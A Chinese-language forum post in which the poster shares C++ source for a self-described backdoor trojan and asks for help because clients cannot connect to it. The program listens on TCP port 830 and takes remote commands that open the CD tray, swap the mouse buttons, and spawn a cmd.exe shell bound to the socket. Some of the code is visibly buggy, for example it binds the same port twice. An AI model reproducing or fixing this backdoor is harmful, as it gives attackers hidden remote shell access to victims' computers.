求教:一个后门程序出了问题?
以下是源代码:
// Back1.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <winsock2.h>
#include <stdio.h>
#include <mmsystem.h>
#pragma comment(lib,"Ws2_32.lib")
#pragma comment(lib,"Winmm.lib")
int main()
{
WSADATA ws;
int ret;
unsigned long IBytesRead;
char Buff[1024];
int cmdshell(SOCKET clientfd);
SOCKET listenfd;
WSAStartup(MAKEWORD(2,2),&ws);
//建立socket
listenfd=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
//监听本机830端口
struct sockaddr_in server;
server.sin_family=AF_INET;
server.sin_port=htons(830);
server.sin_addr.s_addr=INADDR_ANY;
ret=bind(listenfd,(sockaddr *)&server,sizeof(server));
ret=listen(listenfd,2);
//如果客户端请求830端口,接受连接
int iAddrSize=sizeof(server);
ag:
SOCKET clientfd=accept(listenfd,(sockaddr *)&server,&iAddrSize);
IBytesRead=recv(clientfd,Buff,1024,0); //接受命令数据
if(IBytesRead<=0)
return 0;
switch(Buff[0])
{
case 'o': //打开光驱
{
mciSendString("set cdaudio door open",NULL,0,NULL);
break;
}
case 'c': //关闭光驱
{
mciSendString("Set cdaudio door closed wait",NULL,0,NULL);
break;
}
case 'x'://交换按键
{
SwapMouseButton(1);
break;
}
case 'r'://恢复按键
{
SwapMouseButton(0);
break;
}
case '?'://help
{
send(clientfd,"? o c x r",sizeof("? o c x r"),0);
break;
}
case 'q'://退出连接,再次监听
{
closesocket(clientfd);
goto ag;
}
case 'e'://退出木马
{
closesocket(clientfd);
closesocket(listenfd);
return 0;
}
case 's'://获得shell
{
cmdshell(clientfd);
send(clientfd,"Shell OK",sizeof("Shell OK"),0);
break;
}
}
return 0;
}
int cmdshell(SOCKET clientfd)
{
WSADATA ws;
SOCKET listenfd;
int ret;
//初始化
WSAStartup(MAKEWORD(2,2),&ws);
//注意要用WSASocket
listenfd=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
//监听本机830端口
struct sockaddr_in server;
server.sin_family=AF_INET;
server.sin_port=htons(830);
server.sin_addr.s_addr=INADDR_ANY;
ret=bind(listenfd,(sockaddr *)&server,sizeof(server));
ret=listen(listenfd,2);
//如果客户请求830端口,接受连接
int iAddrSize=sizeof(server);
clientfd=accept(listenfd,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.wShowWindow=SW_SHOWNORMAL;
si.hStdInput=si.hStdOutput=si.hStdError=(void *)clientfd;
char cmdLine[]="cmd.exe";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}
用vc编译运行后没有异样,可是无论是将本机和虚拟机作为服务端客户端,还是两台机器互联实验都显示
连接不上830端口;想了半天还是无头绪,想各位蝈蝈帮忙解决一下!
谢谢!!!